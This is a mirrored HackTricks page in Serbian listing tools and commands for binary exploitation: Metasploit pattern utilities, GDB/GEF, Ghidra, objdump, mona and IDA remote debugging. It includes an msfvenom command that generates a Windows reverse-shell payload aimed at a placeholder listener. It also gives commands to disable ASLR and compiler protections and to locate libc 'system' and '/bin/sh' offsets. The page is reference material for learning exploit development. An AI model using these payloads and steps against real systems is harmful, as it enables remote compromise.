Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-26 06:30:37 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/binary-exploitation/basic-binary-exploitation-methodology/tools
History
Translator fc10ec836c Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2
2024-04-07 22:24:39 +00:00
..
pwntools.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 04:42:46 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 22:24:39 +00:00

README.md

Alati za iskorišćavanje

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

Shellkodovi

{% code overflow="wrap" %}

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

{% endcode %}

GDB

Instalacija

apt-get install gdb

Parametri

-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process

Uputstva

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

Opciono možete koristiti ovu granu GEF koja sadrži interesantnije instrukcije.

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Trikovi

GDB iste adrese

Prilikom debagovanja, GDB će imati nešto drugačije adrese od onih koje koristi binarni fajl prilikom izvršavanja. Možete postaviti GDB da koristi iste adrese na sledeći način:

  • unset env LINES
  • unset env COLUMNS
  • set env _=<putanja> Stavite apsolutnu putanju do binarnog fajla
  • Iskoristite binarni fajl koristeći istu apsolutnu putanju
  • PWD i OLDPWD moraju biti isti prilikom korišćenja GDB-a i prilikom iskorišćavanja binarnog fajla

Backtrace za pronalaženje pozvanih funkcija

Kada imate statički povezan binarni fajl, sve funkcije će pripadati binarnom fajlu (a ne spoljnim bibliotekama). U ovom slučaju će biti teško identifikovati tok koji binarni fajl prati kako bi na primer zatražio korisnički unos.
Ovaj tok možete lako identifikovati pokretanjem binarnog fajla sa gdb sve dok vas ne zatraže unos. Zatim ga zaustavite sa CTRL+C i koristite komandu bt (backtrace) da vidite pozvane funkcije:

gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB server

gdbserver --multi 0.0.0.0:23947 (u IDA morate popuniti apsolutnu putanju izvršnog fajla na Linux mašini i na Windows mašini)

Ghidra

Pronalaženje offseta steka

Ghidra je veoma koristan za pronalaženje offseta za preplavljivanje bafera zahvaljujući informacijama o poziciji lokalnih promenljivih.
Na primer, u primeru ispod, preplavljivanje bafera u local_bc ukazuje da je potreban offset od 0xbc. Osim toga, ako je local_10 kolačić kanarinac, to ukazuje da postoji offset od 0xac za prepisivanje iz local_bc.
Zapamtite da prvih 0x08 gde je RIP sačuvan pripada RBP.

qtool

qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

Dobijanje svake opcode izvršene u programu.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 --> Kompajliranje bez zaštite
-o --> Izlaz
-g --> Sačuvaj kod (GDB će moći da ga vidi)
echo 0 > /proc/sys/kernel/randomize_va_space --> Deaktiviranje ASLR u linuxu

Za kompajliranje shell koda:
nasm -f elf assembly.asm --> vraća ".o"
ld assembly.o -o shellcodeout --> Izvršni

Objdump

-d --> Disasembliraj izvršne sekcije (vidi opcode kompajliranog shell koda, pronađi ROP Gadžete, pronađi adresu funkcije...)
-Mintel --> Intel sintaksa
-t --> Tabela simbola
-D --> Disasembliraj sve (adresa statičke promenljive)
-s -j .dtors --> dtors sekcija
-s -j .got --> got sekcija
-D -s -j .plt --> plt sekcija dekompilirana
-TR --> Relokacije
ojdump -t --dynamic-relo ./exec | grep puts --> Adresa "puts" za modifikaciju u GOT
objdump -D ./exec | grep "VAR_NAME" --> Adresa statičke promenljive (one su smeštene u DATA sekciji).

Core dumps

  1. Pokreni ulimit -c unlimited pre pokretanja mog programa
  2. Pokreni sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t
  3. sudo gdb --core=<putanja/core> --quiet

Više

ldd executable | grep libc.so.6 --> Adresa (ako je ASLR, onda se menja svaki put)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done --> Petlja za praćenje promene adrese
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system --> Offset "system"
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh --> Offset "/bin/sh"

strace executable --> Funkcije pozvane od strane izvršnog fajla
rabin2 -i ejecutable --> Adresa svih funkcija

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

Debagovanje na udaljenom Linuxu

Unutar IDA foldera možete pronaći binarne datoteke koje se mogu koristiti za debagovanje binarnih datoteka unutar Linuxa. Da biste to uradili, premestite binarnu datoteku linux_server ili linux_server64 unutar Linux servera i pokrenite je unutar foldera koji sadrži binarnu datoteku:

./linux_server64 -Ppass

Zatim, konfigurišite debager: Debager (linux remote) --> Opcije procesa...:

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: